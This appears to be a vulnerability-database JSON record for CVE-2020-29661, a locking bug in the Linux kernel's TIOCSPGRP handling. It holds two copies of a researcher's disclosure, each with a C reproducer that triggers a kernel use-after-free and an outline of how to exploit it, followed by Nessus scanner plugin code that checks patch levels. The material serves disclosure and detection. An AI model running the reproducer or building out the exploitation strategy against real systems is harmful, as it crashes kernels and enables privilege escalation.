A locking issue was discovered in the tty subsystem of the Linux kernel through 5.9.13. drivers/tty/tty_jobctrl.c allows a use-after-free attack against TIOCSPGRP, aka CID-54ffccbf053b.
{"zdt": [{"lastseen": "2023-08-13T11:48:28", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-24T00:00:00", "type": "zdt", "title": "Linux TIOCSPGRP Broken Locking Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-29661"], "modified": "2020-12-24T00:00:00", "id": "1337DAY-ID-35569", "href": "https://0day.today/exploit/description/35569", "sourceData": "Linux: Broken locking in TIOCSPGRP leads to corrupted tty->pgrp refcount\n\ntiocspgrp(), the handler for the TIOCSPGRP ioctl, has the following signature:\n\n static int tiocspgrp(struct tty_struct *tty, struct tty_struct *real_tty, pid_t __user *p)\n\nIt receives two `tty_struct` pointers because, for PTY pairs, userspace can use\nthe same ioctl() on both sides of the pair, with slightly different semantics.\n`tty` points to the side that userspace passed to `ioctl()` as file descriptor\n(either the TTY or the master), while `real_tty` always points to the TTY.\n\n\ntiocspgrp() contains the following code:\n\nstatic int tiocspgrp(struct tty_struct *tty, struct tty_struct *real_tty, pid_t __user *p)\n{\n[...]\n spin_lock_irq(&tty->ctrl_lock);\n put_pid(real_tty->pgrp);\n real_tty->pgrp = get_pid(pgrp);\n spin_unlock_irq(&tty->ctrl_lock);\n[...]\n}\n\nIt always modifies the ->pgrp of the TTY but, depending on the file descriptor\npassed in by the caller, sometimes takes the ->ctrl_lock of the master instead.\n\n\nThis means that it is possible to race TIOCSPGRP on the master with TIOCSPGRP on\nthe TTY.\n\n\nThe following reproducer quickly causes errors (e.g. starting with a\n\\\"refcount_t: addition on 0; use-after-free.\\\" message):\n\n======================================================================\n#define _GNU_SOURCE\n#include <err.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <termios.h>\n#include <signal.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/prctl.h>\n#include <sys/ioctl.h>\n#include <sys/wait.h>\n\nint main(void) {\n sync(); /* we're probably gonna crash... */\n\n /*\n * We may already be process group leader but want to be session leader;\n * therefore, do everything in a child process.\n */\n pid_t main_task = fork();\n if (main_task == -1) err(1, \\\"initial fork\\\");\n if (main_task != 0) {\n int status;\n if (waitpid(main_task, &status, 0) != main_task)\n err(1, \\\"waitpid main_task\\\");\n return 0;\n }\n if (prctl(PR_SET_PDEATHSIG, SIGKILL))\n err(1, \\\"PR_SET_PDEATHSIG\\\");\n if (getppid() == 1) exit(0);\n\n /* basic preparation */\n if (signal(SIGTTOU, SIG_IGN))\n err(1, \\\"signal\\\");\n if (setsid() == -1)\n err(1, \\\"start new session\\\");\n\n /* set up a new pty pair */\n int ptmx = open(\\\"/dev/ptmx\\\", O_RDWR);\n if (ptmx == -1)\n err(1, \\\"open ptmx\\\");\n unlockpt(ptmx);\n int tty = open(ptsname(ptmx), O_RDWR);\n if (tty == -1)\n err(1, \\\"open tty\\\");\n\n /*\n * Let a series of children change the ->pgrp pointer\n * protected by the tty's ctrl_lock...\n */\n pid_t child = fork();\n if (child == -1)\n err(1, \\\"fork\\\");\n if (child == 0) {\n if (prctl(PR_SET_PDEATHSIG, SIGKILL))\n err(1, \\\"PR_SET_PDEATHSIG\\\");\n if (getppid() == 1) exit(0);\n\n while (1) {\n pid_t grandchild = fork();\n if (grandchild == -1)\n err(1, \\\"fork grandchild\\\");\n if (grandchild == 0) {\n if (setpgid(0, 0))\n err(1, \\\"setpgid\\\");\n int pgrp = getpid();\n if (ioctl(tty, TIOCSPGRP, &pgrp))\n err(1, \\\"TIOCSPGRP (tty)\\\");\n exit(0);\n }\n int status;\n if (waitpid(grandchild, &status, 0) != grandchild)\n err(1, \\\"waitpid for grandchild\\\");\n }\n }\n\n /*\n * ... while the parent changes the same ->pgrp pointer under the\n * ctrl_lock of the other side of the pty pair.\n */\n while (1) {\n int pgrp = getpid();\n if (ioctl(ptmx, TIOCSPGRP, &pgrp))\n err(1, \\\"TIOCSPGRP (ptmx)\\\");\n }\n}\n======================================================================\n\nThis seems to me like it would be fairly promising as a target for exploitation;\nfor example, a strategy along the following lines might work:\n\n - enter a deeply nested PID namespace, such that you have a SLUB cache like\n pid_10 to yourself\n - take a bunch of references to two `struct pid` instances (e.g. through pidfds\n or procfs?)\n - try to hit the bug in a loop such that the refcounts are hopefully off by a\n bit, but both `struct pid` instances still exist\n - on both `struct pid`, drop references one by one until one is freed\n - to detect reallocation, try to get SLUB to reuse the object for another PID,\n then check something like pidfd_show_fdinfo() or tiocgsid() on the old pid\n (which mostly dump plain data from a `struct pid` without touching other\n stuff in there)\n - get the entire SLUB high-order page freed, and try to reallocate it into\n another slab\n - exploit the resulting type confusion, e.g. by changing the refcount of the\n freed struct pid\n\nI haven't tried that yet though.\n\n\nI'm going to send suggested patches for this issue and for less severe TTY\nlocking problems around the ->session pointer in a minute.\n(The ->session stuff is sufficiently theoretical that it probably doesn't really\nneed the full security treatment, but I figured it'd be less messy if I include\nboth here...)\nI have done some basic testing of these changes; the only thing that shows up as\na problem is a lockdep warning about a possible deadlock when triggering the SAK\nlogic via sysrq (involving console_lock, termios_rwsem and tty_bufhead::lock),\nbut that also happens on master and doesn't seem related to my changes.\n\n\nThis bug is subject to a 90 day disclosure deadline. After 90 days elapse,\nthe bug report will become visible to the public. The scheduled disclosure\ndate is 2021-03-03. Disclosure at an earlier date is possible if\nthe bug has been fixed in Linux stable releases (per agreement with\n[email\u00a0protected] folks).\n\nRelated CVE Numbers: CVE-2020-29661.\n", "sourceHref": "https://0day.today/exploit/35569", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2020-12-22T17:31:59", "description": "", "cvss3": {}, "published": "2020-12-22T00:00:00", "type": "packetstorm", "title": "Linux TIOCSPGRP Broken Locking", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-29661"], "modified": "2020-12-22T00:00:00", "id": "PACKETSTORM:160681", "href": "https://packetstormsecurity.com/files/160681/Linux-TIOCSPGRP-Broken-Locking.html", "sourceData": "`Linux: Broken locking in TIOCSPGRP leads to corrupted tty->pgrp refcount \n \ntiocspgrp(), the handler for the TIOCSPGRP ioctl, has the following signature: \n \nstatic int tiocspgrp(struct tty_struct *tty, struct tty_struct *real_tty, pid_t __user *p) \n \nIt receives two `tty_struct` pointers because, for PTY pairs, userspace can use \nthe same ioctl() on both sides of the pair, with slightly different semantics. \n`tty` points to the side that userspace passed to `ioctl()` as file descriptor \n(either the TTY or the master), while `real_tty` always points to the TTY. \n \n \ntiocspgrp() contains the following code: \n \nstatic int tiocspgrp(struct tty_struct *tty, struct tty_struct *real_tty, pid_t __user *p) \n{ \n[...] \nspin_lock_irq(&tty->ctrl_lock); \nput_pid(real_tty->pgrp); \nreal_tty->pgrp = get_pid(pgrp); \nspin_unlock_irq(&tty->ctrl_lock); \n[...] \n} \n \nIt always modifies the ->pgrp of the TTY but, depending on the file descriptor \npassed in by the caller, sometimes takes the ->ctrl_lock of the master instead. \n \n \nThis means that it is possible to race TIOCSPGRP on the master with TIOCSPGRP on \nthe TTY. \n \n \nThe following reproducer quickly causes errors (e.g. starting with a \n\\\"refcount_t: addition on 0; use-after-free.\\\" message): \n \n====================================================================== \n#define _GNU_SOURCE \n#include <err.h> \n#include <unistd.h> \n#include <fcntl.h> \n#include <termios.h> \n#include <signal.h> \n#include <stdio.h> \n#include <stdlib.h> \n#include <sys/prctl.h> \n#include <sys/ioctl.h> \n#include <sys/wait.h> \n \nint main(void) { \nsync(); /* we're probably gonna crash... */ \n \n/* \n* We may already be process group leader but want to be session leader; \n* therefore, do everything in a child process. \n*/ \npid_t main_task = fork(); \nif (main_task == -1) err(1, \\\"initial fork\\\"); \nif (main_task != 0) { \nint status; \nif (waitpid(main_task, &status, 0) != main_task) \nerr(1, \\\"waitpid main_task\\\"); \nreturn 0; \n} \nif (prctl(PR_SET_PDEATHSIG, SIGKILL)) \nerr(1, \\\"PR_SET_PDEATHSIG\\\"); \nif (getppid() == 1) exit(0); \n \n/* basic preparation */ \nif (signal(SIGTTOU, SIG_IGN)) \nerr(1, \\\"signal\\\"); \nif (setsid() == -1) \nerr(1, \\\"start new session\\\"); \n \n/* set up a new pty pair */ \nint ptmx = open(\\\"/dev/ptmx\\\", O_RDWR); \nif (ptmx == -1) \nerr(1, \\\"open ptmx\\\"); \nunlockpt(ptmx); \nint tty = open(ptsname(ptmx), O_RDWR); \nif (tty == -1) \nerr(1, \\\"open tty\\\"); \n \n/* \n* Let a series of children change the ->pgrp pointer \n* protected by the tty's ctrl_lock... \n*/ \npid_t child = fork(); \nif (child == -1) \nerr(1, \\\"fork\\\"); \nif (child == 0) { \nif (prctl(PR_SET_PDEATHSIG, SIGKILL)) \nerr(1, \\\"PR_SET_PDEATHSIG\\\"); \nif (getppid() == 1) exit(0); \n \nwhile (1) { \npid_t grandchild = fork(); \nif (grandchild == -1) \nerr(1, \\\"fork grandchild\\\"); \nif (grandchild == 0) { \nif (setpgid(0, 0)) \nerr(1, \\\"setpgid\\\"); \nint pgrp = getpid(); \nif (ioctl(tty, TIOCSPGRP, &pgrp)) \nerr(1, \\\"TIOCSPGRP (tty)\\\"); \nexit(0); \n} \nint status; \nif (waitpid(grandchild, &status, 0) != grandchild) \nerr(1, \\\"waitpid for grandchild\\\"); \n} \n} \n \n/* \n* ... while the parent changes the same ->pgrp pointer under the \n* ctrl_lock of the other side of the pty pair. \n*/ \nwhile (1) { \nint pgrp = getpid(); \nif (ioctl(ptmx, TIOCSPGRP, &pgrp)) \nerr(1, \\\"TIOCSPGRP (ptmx)\\\"); \n} \n} \n====================================================================== \n \nThis seems to me like it would be fairly promising as a target for exploitation; \nfor example, a strategy along the following lines might work: \n \n- enter a deeply nested PID namespace, such that you have a SLUB cache like \npid_10 to yourself \n- take a bunch of references to two `struct pid` instances (e.g. through pidfds \nor procfs?) \n- try to hit the bug in a loop such that the refcounts are hopefully off by a \nbit, but both `struct pid` instances still exist \n- on both `struct pid`, drop references one by one until one is freed \n- to detect reallocation, try to get SLUB to reuse the object for another PID, \nthen check something like pidfd_show_fdinfo() or tiocgsid() on the old pid \n(which mostly dump plain data from a `struct pid` without touching other \nstuff in there) \n- get the entire SLUB high-order page freed, and try to reallocate it into \nanother slab \n- exploit the resulting type confusion, e.g. by changing the refcount of the \nfreed struct pid \n \nI haven't tried that yet though. \n \n \nI'm going to send suggested patches for this issue and for less severe TTY \nlocking problems around the ->session pointer in a minute. \n(The ->session stuff is sufficiently theoretical that it probably doesn't really \nneed the full security treatment, but I figured it'd be less messy if I include \nboth here...) \nI have done some basic testing of these changes; the only thing that shows up as \na problem is a lockdep warning about a possible deadlock when triggering the SAK \nlogic via sysrq (involving console_lock, termios_rwsem and tty_bufhead::lock), \nbut that also happens on master and doesn't seem related to my changes. \n \n \nThis bug is subject to a 90 day disclosure deadline. After 90 days elapse, \nthe bug report will become visible to the public. The scheduled disclosure \ndate is 2021-03-03. Disclosure at an earlier date is possible if \nthe bug has been fixed in Linux stable releases (per agreement with \nsecurity@kernel.org folks). \n \nRelated CVE Numbers: CVE-2020-29661. \n \n \n \nFound by: jannh@google.com \n \n`\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/160681/GS20201222172728.txt"}], "nessus": [{"lastseen": "2023-05-25T14:15:40", "description": "The remote Redhat Enterprise Linux 7 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2021:0940 advisory.\n\n - kernel: locking issue in drivers/tty/tty_jobctrl.c can lead to an use-after-free (CVE-2020-29661)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {}, "published": "2021-03-18T00:00:00", "type": "nessus", "title": "RHEL 7 : kpatch-patch (RHSA-2021:0940)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-29661"], "modified": "2023-05-24T00:00:00", "cpe": ["cpe:/o:redhat:rhel_aus:7.6", "cpe:/o:redhat:rhel_e4s:7.6", "cpe:/o:redhat:rhel_eus:7.6", "cpe:/o:redhat:rhel_tus:7.6", "p-cpe:/a:redhat:enterprise_linux:kpatch-patch-3_10_0-957_46_1", "p-cpe:/a:redhat:enterprise_linux:kpatch-patch-3_10_0-957_48_1", "p-cpe:/a:redhat:enterprise_linux:kpatch-patch-3_10_0-957_54_1", "p-cpe:/a:redhat:enterprise_linux:kpatch-patch-3_10_0-957_56_1", "p-cpe:/a:redhat:enterprise_linux:kpatch-patch-3_10_0-957_58_2", "p-cpe:/a:redhat:enterprise_linux:kpatch-patch-3_10_0-957_61_1", "p-cpe:/a:redhat:enterprise_linux:kpatch-patch-3_10_0-957_61_2", "p-cpe:/a:redhat:enterprise_linux:kpatch-patch-3_10_0-957_62_1", "p-cpe:/a:redhat:enterprise_linux:kpatch-patch-3_10_0-957_65_1", "p-cpe:/a:redhat:enterprise_linux:kpatch-patch-3_10_0-957_66_1"], "id": "REDHAT-RHSA-2021-0940.NASL", "href": "https://www.tenable.com/plugins/nessus/147886", "sourceData": "##\n# (C) Tenable, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2021:0940. 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'content/e4s/rhel8/8.2/x86_64/sap-solutions/os',\n 'content/e4s/rhel8/8.2/x86_64/sap-solutions/source/SRPMS',\n 'content/e4s/rhel8/8.2/x86_64/sap/debug',\n 'content/e4s/rhel8/8.2/x86_64/sap/os',\n 'content/e4s/rhel8/8.2/x86_64/sap/source/SRPMS',\n 'content/eus/rhel8/8.2/ppc64le/appstream/debug',\n 'content/eus/rhel8/8.2/ppc64le/appstream/os',\n 'content/eus/rhel8/8.2/ppc64le/appstream/source/SRPMS',\n 'content/eus/rhel8/8.2/ppc64le/baseos/debug',\n 'content/eus/rhel8/8.2/ppc64le/baseos/os',\n 'content/eus/rhel8/8.2/ppc64le/baseos/source/SRPMS',\n 'content/eus/rhel8/8.2/ppc64le/codeready-builder/debug',\n 'content/eus/rhel8/8.2/ppc64le/codeready-builder/os',\n 'content/eus/rhel8/8.2/ppc64le/codeready-builder/source/SRPMS',\n 'content/eus/rhel8/8.2/ppc64le/highavailability/debug',\n 'content/eus/rhel8/8.2/ppc64le/highavailability/os',\n 'content/eus/rhel8/8.2/ppc64le/highavailability/source/SRPMS',\n 'content/eus/rhel8/8.2/ppc64le/resilientstorage/debug',\n 'content/eus/rhel8/8.2/ppc64le/resilientstorage/os',\n 'content/eus/rhel8/8.2/ppc64le/resilientstorage/source/SRPMS',\n 'content/eus/rhel8/8.2/ppc64le/sap-solutions/debug',\n 'content/eus/rhel8/8.2/ppc64le/sap-solutions/os',\n 'content/eus/rhel8/8.2/ppc64le/sap-solutions/source/SRPMS',\n 'content/eus/rhel8/8.2/ppc64le/sap/debug',\n 'content/eus/rhel8/8.2/ppc64le/sap/os',\n 'content/eus/rhel8/8.2/ppc64le/sap/source/SRPMS',\n 'content/eus/rhel8/8.2/ppc64le/supplementary/debug',\n 'content/eus/rhel8/8.2/ppc64le/supplementary/os',\n 'content/eus/rhel8/8.2/ppc64le/supplementary/source/SRPMS',\n 'content/eus/rhel8/8.2/x86_64/appstream/debug',\n 'content/eus/rhel8/8.2/x86_64/appstream/os',\n 'content/eus/rhel8/8.2/x86_64/appstream/source/SRPMS',\n 'content/eus/rhel8/8.2/x86_64/baseos/debug',\n 'content/eus/rhel8/8.2/x86_64/baseos/os',\n 'content/eus/rhel8/8.2/x86_64/baseos/source/SRPMS',\n 'content/eus/rhel8/8.2/x86_64/codeready-builder/debug',\n 'content/eus/rhel8/8.2/x86_64/codeready-builder/os',\n 'content/eus/rhel8/8.2/x86_64/codeready-builder/source/SRPMS',\n 'content/eus/rhel8/8.2/x86_64/highavailability/debug',\n 'content/eus/rhel8/8.2/x86_64/highavailability/os',\n 'content/eus/rhel8/8.2/x86_64/highavailability/source/SRPMS',\n 'content/eus/rhel8/8.2/x86_64/resilientstorage/debug',\n 'content/eus/rhel8/8.2/x86_64/resilientstorage/os',\n 'content/eus/rhel8/8.2/x86_64/resilientstorage/source/SRPMS',\n 'content/eus/rhel8/8.2/x86_64/sap-solutions/debug',\n 'content/eus/rhel8/8.2/x86_64/sap-solutions/os',\n 'content/eus/rhel8/8.2/x86_64/sap-solutions/source/SRPMS',\n 'content/eus/rhel8/8.2/x86_64/sap/debug',\n 'content/eus/rhel8/8.2/x86_64/sap/os',\n 'content/eus/rhel8/8.2/x86_64/sap/source/SRPMS',\n 'content/eus/rhel8/8.2/x86_64/supplementary/debug',\n 'content/eus/rhel8/8.2/x86_64/supplementary/os',\n 'content/eus/rhel8/8.2/x86_64/supplementary/source/SRPMS',\n 'content/tus/rhel8/8.2/x86_64/appstream/debug',\n 'content/tus/rhel8/8.2/x86_64/appstream/os',\n 'content/tus/rhel8/8.2/x86_64/appstream/source/SRPMS',\n 'content/tus/rhel8/8.2/x86_64/baseos/debug',\n 'content/tus/rhel8/8.2/x86_64/baseos/os',\n 'content/tus/rhel8/8.2/x86_64/baseos/source/SRPMS',\n 'content/tus/rhel8/8.2/x86_64/highavailability/debug',\n 'content/tus/rhel8/8.2/x86_64/highavailability/os',\n 'content/tus/rhel8/8.2/x86_64/highavailability/source/SRPMS',\n 'content/tus/rhel8/8.2/x86_64/nfv/debug',\n 'content/tus/rhel8/8.2/x86_64/nfv/os',\n 'content/tus/rhel8/8.2/x86_64/nfv/source/SRPMS',\n 'content/tus/rhel8/8.2/x86_64/rt/debug',\n 'content/tus/rhel8/8.2/x86_64/rt/os',\n 'content/tus/rhel8/8.2/x86_64/rt/source/SRPMS'\n ],\n 'kernels': {\n '4.18.0-193.el8.ppc64le': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193-1-10.el8', 'sp':'2', 'cpu':'ppc64le', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.el8.x86_64': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193-1-10.el8', 'sp':'2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.13.2.el8_2.ppc64le': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_13_2-1-5.el8_2', 'sp':'2', 'cpu':'ppc64le', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.13.2.el8_2.x86_64': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_13_2-1-5.el8_2', 'sp':'2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.14.3.el8_2.ppc64le': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_14_3-1-5.el8_2', 'sp':'2', 'cpu':'ppc64le', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.14.3.el8_2.x86_64': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_14_3-1-5.el8_2', 'sp':'2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.19.1.el8_2.ppc64le': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_19_1-1-5.el8_2', 'sp':'2', 'cpu':'ppc64le', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.19.1.el8_2.x86_64': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_19_1-1-5.el8_2', 'sp':'2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.1.2.el8_2.ppc64le': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_1_2-1-8.el8_2', 'sp':'2', 'cpu':'ppc64le', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.1.2.el8_2.x86_64': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_1_2-1-8.el8_2', 'sp':'2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.28.1.el8_2.ppc64le': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_28_1-1-3.el8_2', 'sp':'2', 'cpu':'ppc64le', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.28.1.el8_2.x86_64': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_28_1-1-3.el8_2', 'sp':'2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.29.1.el8_2.ppc64le': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_29_1-1-3.el8_2', 'sp':'2', 'cpu':'ppc64le', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.29.1.el8_2.x86_64': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_29_1-1-3.el8_2', 'sp':'2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.37.1.el8_2.ppc64le': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_37_1-1-3.el8_2', 'sp':'2', 'cpu':'ppc64le', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.37.1.el8_2.x86_64': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_37_1-1-3.el8_2', 'sp':'2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.40.1.el8_2.ppc64le': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_40_1-1-3.el8_2', 'sp':'2', 'cpu':'ppc64le', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.40.1.el8_2.x86_64': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_40_1-1-3.el8_2', 'sp':'2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.41.1.el8_2.ppc64le': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_41_1-1-3.el8_2', 'sp':'2', 'cpu':'ppc64le', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.41.1.el8_2.x86_64': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_41_1-1-3.el8_2', 'sp':'2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.6.3.el8_2.ppc64le': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_6_3-1-7.el8_2', 'sp':'2', 'cpu':'ppc64le', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n ]\n },\n '4.18.0-193.6.3.el8_2.x86_64': {\n 'pkgs': [\n {'reference':'kpatch-patch-4_18_0-193_6_3-1-7.el8_2', 'sp':'2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE}\n ]\n }\n }\n }\n];\n\nvar applicable_repo_urls = rhel_determine_applicable_repository_urls(constraints:kernel_live_checks);\nif(applicable_repo_urls == RHEL_REPOS_NO_OVERLAP_MESSAGE) exit(0, RHEL_REPO_NOT_ENABLED);\n\nvar flag = 0;\nvar kernel_affected = FALSE;\nforeach var kernel_array ( kernel_live_checks ) {\n var repo_relative_urls = NULL;\n if (!empty_or_null(kernel_array['repo_relative_urls'])) repo_relative_urls = kernel_array['repo_relative_urls'];\n var kpatch_details = kernel_array['kernels'][uname_r];\n if (empty_or_null(kpatch_details)) continue;\n kernel_affected = TRUE;\n foreach var pkg ( kpatch_details['pkgs'] ) {\n var reference = NULL;\n var _release = NULL;\n var sp = NULL;\n var _cpu = NULL;\n var el_string = NULL;\n var rpm_spec_vers_cmp = NULL;\n var epoch = NULL;\n var allowmaj = NULL;\n var exists_check = NULL;\n if (!empty_or_null(pkg['reference'])) reference = pkg['reference'];\n if (!empty_or_null(pkg['release'])) _release = 'RHEL' + pkg['release'];\n if (!empty_or_null(pkg['sp'])) sp = pkg['sp'];\n if (!empty_or_null(pkg['cpu'])) _cpu = pkg['cpu'];\n if (!empty_or_null(pkg['el_string'])) el_string = pkg['el_string'];\n if (!empty_or_null(pkg['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = pkg['rpm_spec_vers_cmp'];\n if (!empty_or_null(pkg['epoch'])) epoch = pkg['epoch'];\n if (!empty_or_null(pkg['allowmaj'])) allowmaj = pkg['allowmaj'];\n if (!empty_or_null(pkg['exists_check'])) exists_check = pkg['exists_check'];\n if (reference &&\n _release &&\n rhel_decide_repo_relative_url_check(required_repo_url_list:repo_relative_urls) &&\n (applicable_repo_urls || (!exists_check || rpm_exists(release:_release, rpm:exists_check))) &&\n rpm_check(release:_release, sp:sp, cpu:_cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n}\n# No kpatch details found for the running kernel version\nif (!kernel_affected) audit(AUDIT_INST_VER_NOT_VULN, 'kernel', uname_r);\n\nif (flag)\n{\n var subscription_caveat = '\\n' +\n 'NOTE: This vulnerability check contains fixes that apply to\\n' +\n 'packages only available in the Red Hat Enterprise Linux\\n' +\n 'Advanced Update Support, Extended Update Support, Telco Extended Update Support or Update Services for SAP Solutions repositories.\\n' +\n 'Access to these repositories requires a paid RHEL subscription.\\n';\n var extra = NULL;\n if (empty_or_null(applicable_repo_urls)) extra = subscription_caveat + rpm_report_get() + redhat_report_repo_caveat();\n else extra = subscription_caveat + rpm_report_get() + redhat_report_package_caveat();\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : extra\n );\n exit(0);\n}\nelse\n{\n var tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'kpatch-patch-4_18_0-193 / kpatch-patch-4_18_0-193_13_2 / etc');\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:22:59", "description": "An update of the linux package has been released.", "cvss3": {}, "published": "2021-01-13T00:00:00", "type": "nessus", "title": "Photon OS 3.0: Linux PHSA-2021-3.0-0182", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-29569", "CVE-2020-29660", "CVE-2020-29661"], "modified": "2022-05-11T00:00:00", "cpe": ["p-cpe:/a:vmware:photonos:linux", "cpe:/o:vmware:photonos:3.0"], "id": "PHOTONOS_PHSA-2021-3_0-0182_LINUX.NASL", "href": "https://www.tenable.com/plugins/nessus/144902", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from VMware Security Advisory PHSA-2021-3.0-0182. The text\n# itself is copyright (C) VMware, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(144902);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/11\");\n\n script_cve_id(\"CVE-2020-29569\", \"CVE-2020-29660\", \"CVE-2020-29661\");\n\n script_name(english:\"Photon OS 3.0: Linux PHSA-2021-3.0-0182\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote PhotonOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"An update of the linux package has been released.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://github.com/vmware/photon/wiki/Security-Updates-3.0-182.md\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected Linux packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n 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CVE-2020-29661
